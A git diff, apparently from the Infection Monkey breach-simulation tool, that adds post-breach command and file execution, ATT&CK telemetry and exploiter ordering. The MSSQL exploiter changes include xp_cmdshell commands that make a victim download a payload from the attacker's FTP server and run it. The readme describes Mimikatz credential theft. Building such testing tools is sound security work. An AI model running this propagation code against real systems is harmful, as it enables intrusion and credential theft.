b/monkey/infection_monkey/example.conf index b3b44c585..7ad23fa7b 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -8,7 +8,7 @@ ], "keep_tunnel_open_time": 60, "subnet_scan_list": [ - + ], "inaccessible_subnets": [], "blocked_ips": [], @@ -28,6 +28,9 @@ "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", + monkey_dir_linux = '/tmp/monkey_dir', + monkey_dir_windows = r'C:\Windows\Temp\monkey_dir', + "kill_file_path_linux": "/var/run/monkey.not", "kill_file_path_windows": "%windir%\\monkey.not", @@ -98,4 +101,8 @@ "victims_max_exploit": 7, "victims_max_find": 30, "post_breach_actions" : [] + custom_PBA_linux_cmd = "" + custom_PBA_windows_cmd = "" + PBA_linux_filename = None + PBA_windows_filename = None } diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 9ea2bcc75..0d4300b5f 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -1,5 +1,6 @@ from abc import ABCMeta, abstractmethod import infection_monkey.config +from common.utils.exploit_enum import ExploitType __author__ = 'itamar' @@ -9,6 +10,9 @@ class HostExploiter(object): _TARGET_OS_TYPE = [] + # Usual values are 'vulnerability' or 'brute_force' + EXPLOIT_TYPE = ExploitType.VULNERABILITY + def __init__(self, host): self._config = infection_monkey.config.WormConfiguration self._exploit_info = {} diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 2de001ba3..faa6681b4 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -8,7 +8,8 @@ import json import logging import requests from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX +from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ + DOWNLOAD_TIMEOUT from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE import re @@ -47,7 +48,11 @@ class ElasticGroovyExploiter(WebRCE): def exploit(self, url, command): command = re.sub(r"\\", r"\\\\\\\\", command) payload = self.JAVA_CMD % command - response = requests.get(url, data=payload) + try: + response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT) + except requests.ReadTimeout: + LOG.error("Elastic couldn't upload monkey, because server didn't respond to upload request.") + return False result = self.get_results(response) if not result: return False @@ -79,4 +84,4 @@ class ElasticGroovyExploiter(WebRCE): return False except Exception as e: LOG.error("Host's exploitability check failed due to: %s" % e) - return False \ No newline at end of file + return False diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index b34178dd6..2e8bf6c90 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,11 +1,10 @@ import os -import platform -from os import path import logging import pymssql from infection_monkey.exploit import HostExploiter, mssqlexec_utils +from common.utils.exploit_enum import ExploitType __author__ = 'Maor Rayzin' @@ -15,10 +14,11 @@ LOG = logging.getLogger(__name__) class MSSQLExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] + EXPLOIT_TYPE = ExploitType.BRUTE_FORCE LOGIN_TIMEOUT = 15 SQL_DEFAULT_TCP_PORT = '1433' - DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'%TEMP%\~PLD123.bat') - DEFAULT_PAYLOAD_PATH_LINUX = '/tmp/~PLD123.bat' + DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat') + DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat' def __init__(self, host): super(MSSQLExploiter, self).__init__(host) @@ -60,7 +60,6 @@ class MSSQLExploiter(HostExploiter): return False def handle_payload(self, cursor, payload): - """ Handles the process of payload sending and execution, prepares the attack and details. @@ -72,7 +71,7 @@ class MSSQLExploiter(HostExploiter): True or False depends on process success """ - chosen_attack = self.attacks_list[0](payload, cursor, self.host.ip_addr) + chosen_attack = self.attacks_list[0](payload, cursor, self.host) if chosen_attack.send_payload(): LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) diff --git a/monkey/infection_monkey/exploit/mssqlexec_utils.py b/monkey/infection_monkey/exploit/mssqlexec_utils.py index ab8b88e60..51293dfe3 100644 --- a/monkey/infection_monkey/exploit/mssqlexec_utils.py +++ b/monkey/infection_monkey/exploit/mssqlexec_utils.py @@ -8,6 +8,7 @@ from infection_monkey.exploit.tools import get_interface_to_target from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer +from time import sleep __author__ = 'Maor Rayzin' @@ -17,7 +18,8 @@ FTP_SERVER_PORT = 1026 FTP_SERVER_ADDRESS = '' FTP_SERVER_USER = 'brute' FTP_SERVER_PASSWORD = 'force' -FTP_WORKING_DIR = '.' +FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/') +FTP_WORK_DIR_LINUX = '/tmp/' LOG = logging.getLogger(__name__) @@ -30,37 +32,29 @@ class FTP(object): user (str): User for FTP server auth password (str): Password for FTP server auth working_dir (str): The local working dir to init the ftp server on. - """ - def __init__(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, - working_dir=FTP_WORKING_DIR): + def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD): """Look at class level docstring.""" - + self.dst_ip = host.ip_addr self.user = user self.password = password - self.working_dir = working_dir + self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS - def run_server(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, - working_dir=FTP_WORKING_DIR): + def run_server(self): """ Configures and runs the ftp server to listen forever until stopped. - - Args: - user (str): User for FTP server auth - password (str): Password for FTP server auth - working_dir (str): The local working dir to init the ftp server on. """ # Defining an authorizer and configuring the ftp user authorizer = DummyAuthorizer() - authorizer.add_user(user, password, working_dir, perm='elradfmw') + authorizer.add_user(self.user, self.password, self.working_dir, perm='elr') # Normal ftp handler handler = FTPHandler handler.authorizer = authorizer - address = (FTP_SERVER_ADDRESS, FTP_SERVER_PORT) + address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT) # Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword self.server = FTPServer(address, handler) @@ -100,14 +94,15 @@ class CmdShellAttack(AttackHost): Args: payload_path (str): The local path of the payload file cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with. + host (model.host.VictimHost): Host this attack is going to target """ - def __init__(self, payload_path, cursor, dst_ip_address): + def __init__(self, payload_path, cursor, host): super(CmdShellAttack, self).__init__(payload_path) - self.ftp_server, self.ftp_server_p = self.__init_ftp_server() + self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host) self.cursor = cursor - self.attacker_ip = get_interface_to_target(dst_ip_address) + self.attacker_ip = get_interface_to_target(host.ip_addr) def send_payload(self): """ @@ -121,7 +116,6 @@ class CmdShellAttack(AttackHost): shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \ echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER) shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD) - shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\ .format(self.payload_path) shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """ @@ -129,11 +123,11 @@ class CmdShellAttack(AttackHost): # Checking to see if ftp server is up if self.ftp_server_p and self.ftp_server: - try: # Running the cmd on remote host for cmd in shellcmds: self.cursor.execute(cmd) + sleep(0.5) except Exception as e: LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True) self.ftp_server_p.terminate() @@ -174,7 +168,7 @@ class CmdShellAttack(AttackHost): self.ftp_server_p.terminate() return False - except pymssql.OperationalError: + except pymssql.OperationalError as e: LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True) self.ftp_server_p.terminate() return False @@ -193,7 +187,7 @@ class CmdShellAttack(AttackHost): LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True) return False - def __init_ftp_server(self): + def __init_ftp_server(self, host): """ Init an FTP server using FTP class on a different process @@ -203,7 +197,7 @@ class CmdShellAttack(AttackHost): """ try: - ftp_s = FTP() + ftp_s = FTP(host) multiprocessing.log_to_stderr(logging.DEBUG) p = multiprocessing.Process(target=ftp_s.run_server) p.start() diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index a67a812f6..dcef9551c 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -16,6 +16,7 @@ from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS from infection_monkey.network.tools import check_tcp_port from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.utils import utf_to_ascii +from common.utils.exploit_enum import ExploitType __author__ = 'hoffer' @@ -235,6 +236,7 @@ class CMDClientFactory(rdp.ClientFactory): class RdpExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] + EXPLOIT_TYPE = ExploitType.BRUTE_FORCE def __init__(self, host): super(RdpExploiter, self).__init__(host) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 7528e08ba..579fd8f1f 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -9,12 +9,14 @@ from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDL from infection_monkey.network import SMBFinger from infection_monkey.network.tools import check_tcp_port from infection_monkey.exploit.tools import build_monkey_commandline +from common.utils.exploit_enum import ExploitType LOG = getLogger(__name__) class SmbExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] + EXPLOIT_TYPE = ExploitType.BRUTE_FORCE KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 82dd1f4d7..8a58f18c6 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -10,6 +10,7 @@ from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port from infection_monkey.exploit.tools import build_monkey_commandline +from common.utils.exploit_enum import ExploitType __author__ = 'hoffer' @@ -20,6 +21,7 @@ TRANSFER_UPDATE_RATE = 15 class SSHExploiter(HostExploiter): _TARGET_OS_TYPE = ['linux', None] + EXPLOIT_TYPE = ExploitType.BRUTE_FORCE def __init__(self, host): super(SSHExploiter, self).__init__(host) diff --git a/monkey/infection_monkey/exploit/tools.py b/monkey/infection_monkey/exploit/tools.py index a7a137557..0b496f8be 100644 --- a/monkey/infection_monkey/exploit/tools.py +++ b/monkey/infection_monkey/exploit/tools.py @@ -7,7 +7,6 @@ import socket import struct import sys import urllib -from difflib import get_close_matches from impacket.dcerpc.v5 import transport, srvs from impacket.dcerpc.v5.dcom import wmi @@ -19,7 +18,6 @@ from impacket.smbconnection import SMBConnection, SMB_DIALECT import infection_monkey.config import infection_monkey.monkeyfs as monkeyfs -from infection_monkey.network import local_ips from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port, get_routes from infection_monkey.transport import HTTPServer, LockedHTTPServer @@ -418,9 +416,15 @@ class HTTPTools(object): def get_interface_to_target(dst): if sys.platform == "win32": - ips = local_ips() - matches = get_close_matches(dst, ips) - return matches[0] if (len(matches) > 0) else ips[0] + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + s.connect((dst, 1)) + ip_to_dst = s.getsockname()[0] + except KeyError: + ip_to_dst = '127.0.0.1' + finally: + s.close() + return ip_to_dst else: # based on scapy implementation @@ -430,17 +434,17 @@ def get_interface_to_target(dst): routes = get_routes() dst = atol(dst) - pathes = [] + paths = [] for d, m, gw, i, a in routes: aa = atol(a) if aa == dst: - pathes.append((0xffffffff, ("lo", a, "0.0.0.0"))) + paths.append((0xffffffff, ("lo", a, "0.0.0.0"))) if (dst & m) == (d & m): - pathes.append((m, (i, a, gw))) - if not pathes: + paths.append((m, (i, a, gw))) + if not paths: return None - pathes.sort() - ret = pathes[-1][1] + paths.sort() + ret = paths[-1][1] return ret[1] diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 1a8cb3386..66cc30fa9 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -9,12 +9,14 @@ from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \ get_monkey_depth, build_monkey_commandline from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS +from common.utils.exploit_enum import ExploitType LOG = logging.getLogger(__name__) class WmiExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] + EXPLOIT_TYPE = ExploitType.BRUTE_FORCE def __init__(self, host): super(WmiExploiter, self).__init__(host) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index f2f9f4f42..df7bcf820 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -16,6 +16,9 @@ from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.windows_upgrader import WindowsUpgrader +from infection_monkey.post_breach.post_breach_handler import PostBreach +from common.utils.attack_utils import ScanStatus +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem __author__ = 'itamar' @@ -76,6 +79,9 @@ class InfectionMonkey(object): LOG.info("Monkey couldn't find server. Going down.") return + # Create a dir for monkey files if there isn't one + utils.create_monkey_dir() + if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True self._singleton.unlock() @@ -113,6 +119,8 @@ class InfectionMonkey(object): action = action_class() action.act() + PostBreach().execute() + if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") @@ -167,44 +175,19 @@ class InfectionMonkey(object): LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) machine.set_default_server(self._default_server) - successful_exploiter = None + # Order exploits according to their type + self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) + host_exploited = False for exploiter in [exploiter(machine) for exploiter in self._exploiters]: - if not exploiter.is_os_supported(): - LOG.info("Skipping exploiter %s host:%r, os is not supported", - exploiter.__class__.__name__, machine) - continue - - LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) - - result = False - try: - result = exploiter.exploit_host() - if result: - successful_exploiter = exploiter - break - else: - LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) - - except Exception as exc: - LOG.exception("Exception while attacking %s using %s: %s", - machine, exploiter.__class__.__name__, exc) - finally: - exploiter.send_exploit_telemetry(result) - - if successful_exploiter: - self._exploited_machines.add(machine) - - LOG.info("Successfully propagated to %s using %s", - machine, successful_exploiter.__class__.__name__) - - # check if max-exploitation limit is reached - if WormConfiguration.victims_max_exploit <= len(self._exploited_machines): - self._keep_running = False - - LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) + if self.try_exploiting(machine, exploiter): + host_exploited = True + VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send() break - else: + if not host_exploited: self._fail_exploitation_machines.add(machine) + VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send() + if not self._keep_running: + break if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations @@ -242,6 +225,7 @@ class InfectionMonkey(object): self.send_log() self._singleton.unlock() + utils.remove_monkey_dir() InfectionMonkey.self_delete() LOG.info("Monkey is shutting down") @@ -279,3 +263,50 @@ class InfectionMonkey(object): log = '' ControlClient.send_log(log) + + def try_exploiting(self, machine, exploiter): + """ + Workflow of exploiting one machine with one exploiter + :param machine: Machine monkey tries to exploit + :param exploiter: Exploiter to use on that machine + :return: True if successfully exploited, False otherwise + """ + if not exploiter.is_os_supported(): + LOG.info("Skipping exploiter %s host:%r, os is not supported", + exploiter.__class__.__name__, machine) + return False + + LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) + + result = False + try: + result = exploiter.exploit_host() + if result: + self.successfully_exploited(machine, exploiter) + return True + else: + LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) + + except Exception as exc: + LOG.exception("Exception while attacking %s using %s: %s", + machine, exploiter.__class__.__name__, exc) + finally: + exploiter.send_exploit_telemetry(result) + return False + + def successfully_exploited(self, machine, exploiter): + """ + Workflow of registering successfully exploited machine + :param machine: machine that was exploited + :param exploiter: exploiter that succeeded + """ + self._exploited_machines.add(machine) + + LOG.info("Successfully propagated to %s using %s", + machine, exploiter.__class__.__name__) + + # check if max-exploitation limit is reached + if WormConfiguration.victims_max_exploit <= len(self._exploited_machines): + self._keep_running = False + + LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py new file mode 100644 index 000000000..5f52a29a6 --- /dev/null +++ b/monkey/infection_monkey/post_breach/file_execution.py @@ -0,0 +1,68 @@ +from infection_monkey.post_breach.pba import PBA +from infection_monkey.control import ControlClient +from infection_monkey.config import WormConfiguration +from infection_monkey.utils import get_monkey_dir_path +import requests +import os +import logging + +LOG = logging.getLogger(__name__) + +__author__ = 'VakarisZ' + +# Default commands for executing PBA file and then removing it +DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}" +DEFAULT_WINDOWS_COMMAND = "{0} & del {0}" + + +class FileExecution(PBA): + """ + Defines user's file execution post breach action. + """ + def __init__(self, linux_command="", windows_command=""): + self.linux_filename = WormConfiguration.PBA_linux_filename + self.windows_filename = WormConfiguration.PBA_windows_filename + super(FileExecution, self).__init__("File execution", linux_command, windows_command) + + def _execute_linux(self): + FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename) + return super(FileExecution, self)._execute_linux() + + def _execute_win(self): + FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename) + return super(FileExecution, self)._execute_win() + + def add_default_command(self, is_linux): + """ + Replaces current (likely empty) command with default file execution command (that changes permissions, executes + and finally deletes post breach file). + Default commands are defined as globals in this module. + :param is_linux: Boolean that indicates for which OS the command is being set. + """ + if is_linux: + file_path = os.path.join(get_monkey_dir_path(), self.linux_filename) + self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path) + else: + file_path = os.path.join(get_monkey_dir_path(), self.windows_filename) + self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path) + + @staticmethod + def download_PBA_file(dst_dir, filename): + """ + Handles post breach action file download + :param dst_dir: Destination directory + :param filename: Filename + :return: True if successful, false otherwise + """ + + PBA_file_contents = requests.get("https://%s/api/pba/download/%s" % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) + try: + with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: + written_PBA_file.write(PBA_file_contents.content) + return True + except IOError as e: + LOG.error("Can not download post breach file to target machine, because %s" % e) + return False diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py new file mode 100644 index 000000000..09fe613b3 --- /dev/null +++ b/monkey/infection_monkey/post_breach/pba.py @@ -0,0 +1,68 @@ +import logging +from infection_monkey.control import ControlClient +import subprocess +import socket + +LOG = logging.getLogger(__name__) + +__author__ = 'VakarisZ' + + +class PBA(object): + """ + Post breach action object. Can be extended to support more than command execution on target machine. + """ + def __init__(self, name="unknown", linux_command="", windows_command=""): + """ + :param name: Name of post breach action. + :param linux_command: Command that will be executed on linux machine + :param windows_command: Command that will be executed on windows machine + """ + self.linux_command = linux_command + self.windows_command = windows_command + self.name = name + + def run(self, is_linux): + """ + Runs post breach action command + :param is_linux: boolean that indicates on which os monkey is running + """ + if is_linux: + command = self.linux_command + exec_funct = self._execute_linux + else: + command = self.windows_command + exec_funct = self._execute_win + if command: + hostname = socket.gethostname() + ControlClient.send_telemetry('post_breach', {'command': command, + 'result': exec_funct(), + 'name': self.name, + 'hostname': hostname, + 'ip': socket.gethostbyname(hostname) + }) + + def _execute_linux(self): + """ + Default linux PBA execution function. Override it if additional functionality is needed + """ + return self._execute_default(self.linux_command) + + def _execute_win(self): + """ + Default linux PBA execution function. Override it if additional functionality is needed + """ + return self._execute_default(self.windows_command) + + @staticmethod + def _execute_default(command): + """ + Default post breach command execution routine + :param command: What command to execute + :return: Tuple of command's output string and boolean, indicating if it succeeded + """ + try: + return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True + except subprocess.CalledProcessError as e: + # Return error output of the command + return e.output, False diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py new file mode 100644 index 000000000..ff24ebbbb --- /dev/null +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -0,0 +1,83 @@ +import logging +import infection_monkey.config +from file_execution import FileExecution +from pba import PBA +from infection_monkey.utils import is_windows_os +from infection_monkey.utils import get_monkey_dir_path + +LOG = logging.getLogger(__name__) + +__author__ = 'VakarisZ' + +DIR_CHANGE_WINDOWS = 'cd %s & ' +DIR_CHANGE_LINUX = 'cd %s ; ' + + +class PostBreach(object): + """ + This class handles post breach actions execution + """ + def __init__(self): + self.os_is_linux = not is_windows_os() + self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration) + + def execute(self): + """ + Executes all post breach actions. + """ + for pba in self.pba_list: + pba.run(self.os_is_linux) + LOG.info("Post breach actions executed") + + @staticmethod + def config_to_pba_list(config): + """ + Returns a list of PBA objects generated from config. + :param config: Monkey configuration + :return: A list of PBA objects. + """ + pba_list = [] + pba_list.extend(PostBreach.get_custom_PBA(config)) + + return pba_list + + @staticmethod + def get_custom_PBA(config): + """ + Creates post breach actions depending on users input into 'custom post breach' config section + :param config: monkey's configuration + :return: List of PBA objects ([user's file execution PBA, user's command execution PBA]) + """ + custom_list = [] + file_pba = FileExecution() + command_pba = PBA(name="Custom") + + if not is_windows_os(): + # Add linux commands to PBA's + if config.PBA_linux_filename: + if config.custom_PBA_linux_cmd: + # Add change dir command, because user will try to access his file + file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd + else: + file_pba.add_default_command(is_linux=True) + elif config.custom_PBA_linux_cmd: + command_pba.linux_command = config.custom_PBA_linux_cmd + else: + # Add windows commands to PBA's + if config.PBA_windows_filename: + if config.custom_PBA_windows_cmd: + # Add change dir command, because user will try to access his file + file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \ + config.custom_PBA_windows_cmd + else: + file_pba.add_default_command(is_linux=False) + elif config.custom_PBA_windows_cmd: + command_pba.windows_command = config.custom_PBA_windows_cmd + + # Add PBA's to list + if file_pba.linux_command or file_pba.windows_command: + custom_list.append(file_pba) + if command_pba.windows_command or command_pba.linux_command: + custom_list.append(command_pba) + + return custom_list diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt index 08e17014e..0b56da2f7 100644 --- a/monkey/infection_monkey/readme.txt +++ b/monkey/infection_monkey/readme.txt @@ -13,7 +13,7 @@ The monkey is composed of three separate parts. Download and install from: https://www.python.org/downloads/release/python-2715/ 2. Add python directories to PATH environment variable (if you didn't install ActiveState Python) a. Run the following command on a cmd console (Replace C:\Python27 with your python directory if it's different) - setx /M PATH "%PATH%;C:\Python27;C:\Pytohn27\Scripts + setx /M PATH "%PATH%;C:\Python27;C:\Python27\Scripts b. Close the console, make sure you execute all commands in a new cmd console from now on. 3. Install further dependencies a. install VCForPython27.msi @@ -72,8 +72,7 @@ b. Download our pre-built sambacry binaries -- Mimikatz -- -Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from -You can either build them yourself or download pre-built binaries. +Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile binaries from source (requires Visual Studio 2013 and up) or download them from our repository. a. Build Mimikatz yourself a.0. Building mimikatz requires Visual Studio 2013 and up a.1. Clone our version of mimikatz from https://github.com/guardicore/mimikatz/tree/1.1.0 @@ -84,7 +83,7 @@ a. Build Mimikatz yourself a.3.3. The zip file should be named mk32.zip/mk64.zip accordingly. a.3.4. Zipping with 7zip has been tested. Other zipping software may not work. -b. Download our pre-built traceroute binaries +b. Download our pre-built mimikatz binaries b.1. Download both 32 and 64 bit zipped DLLs from https://github.com/guardicore/mimikatz/releases/tag/1.1.0 b.2. Place them under [code location]\infection_monkey\bin diff --git a/monkey/infection_monkey/requirements_linux.txt b/monkey/infection_monkey/requirements_linux.txt index f223158fe..bef031d2e 100644 --- a/monkey/infection_monkey/requirements_linux.txt +++ b/monkey/infection_monkey/requirements_linux.txt @@ -17,3 +17,4 @@ ipaddress wmi pymssql pyftpdlib +enum34 diff --git a/monkey/infection_monkey/requirements_windows.txt b/monkey/infection_monkey/requirements_windows.txt index 5ec5ebbb9..5689ca332 100644 --- a/monkey/infection_monkey/requirements_windows.txt +++ b/monkey/infection_monkey/requirements_windows.txt @@ -17,4 +17,5 @@ ipaddress wmi pywin32 pymssql -pyftpdlib \ No newline at end of file +pyftpdlib +enum34 diff --git a/monkey/infection_monkey/transport/attack_telems/__init__.py b/monkey/infection_monkey/transport/attack_telems/__init__.py new file mode 100644 index 000000000..98867ed4d --- /dev/null +++ b/monkey/infection_monkey/transport/attack_telems/__init__.py @@ -0,0 +1 @@ +__author__ = 'VakarisZ' diff --git a/monkey/infection_monkey/transport/attack_telems/base_telem.py b/monkey/infection_monkey/transport/attack_telems/base_telem.py new file mode 100644 index 000000000..9d0275356 --- /dev/null +++ b/monkey/infection_monkey/transport/attack_telems/base_telem.py @@ -0,0 +1,41 @@ +from infection_monkey.config import WormConfiguration, GUID +import requests +import json +from infection_monkey.control import ControlClient +import logging + +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) + + +class AttackTelem(object): + + def __init__(self, technique, status, data=None): + """ + Default ATT&CK telemetry constructor + :param technique: Technique ID. E.g. T111 + :param status: int from ScanStatus Enum + :param data: Other data relevant to the attack technique + """ + self.technique = technique + self.result = status + self.data = {'status': status, 'id': GUID} + if data: + self.data.update(data) + + def send(self): + """ + Sends telemetry to island + """ + if not WormConfiguration.current_server: + return + try: + requests.post("https://%s/api/attack/%s" % (WormConfiguration.current_server, self.technique), + data=json.dumps(self.data), + headers={'content-type': 'application/json'}, + verify=False, + proxies=ControlClient.proxies) + except Exception as exc: + LOG.warn("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) diff --git a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py new file mode 100644 index 000000000..ecab5a648 --- /dev/null +++ b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py @@ -0,0 +1,18 @@ +from infection_monkey.transport.attack_telems.base_telem import AttackTelem + +__author__ = "VakarisZ" + + +class VictimHostTelem(AttackTelem): + + def __init__(self, technique, status, machine, data=None): + """ + ATT&CK telemetry that parses and sends VictimHost's (remote machine's) data + :param technique: Technique ID. E.g. T111 + :param status: int from ScanStatus Enum + :param machine: VictimHost obj from model/host.py + :param data: Other data relevant to the attack technique + """ + super(VictimHostTelem, self).__init__(technique, status, data) + victim_host = {'hostname': machine.domain_name, 'ip': machine.ip_addr} + self.data.update({'machine': victim_host}) diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py index 635f2360d..741d7c950 100644 --- a/monkey/infection_monkey/utils.py +++ b/monkey/infection_monkey/utils.py @@ -1,5 +1,6 @@ import os import sys +import shutil import struct from infection_monkey.config import WormConfiguration @@ -35,3 +36,25 @@ def utf_to_ascii(string): # Converts utf string to ascii. Safe to use even if string is already ascii. udata = string.decode("utf-8") return udata.encode("ascii", "ignore") + + +def create_monkey_dir(): + """ + Creates directory for monkey and related files + """ + if not os.path.exists(get_monkey_dir_path()): + os.mkdir(get_monkey_dir_path()) + + +def remove_monkey_dir(): + """ + Removes monkey's root directory + """ + shutil.rmtree(get_monkey_dir_path(), ignore_errors=True) + + +def get_monkey_dir_path(): + if is_windows_os(): + return WormConfiguration.monkey_dir_windows + else: + return WormConfiguration.monkey_dir_linux diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index c23213eac..b1697f5a5 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -27,9 +27,12 @@ from monkey_island.cc.resources.report import Report from monkey_island.cc.resources.root import Root from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed +from 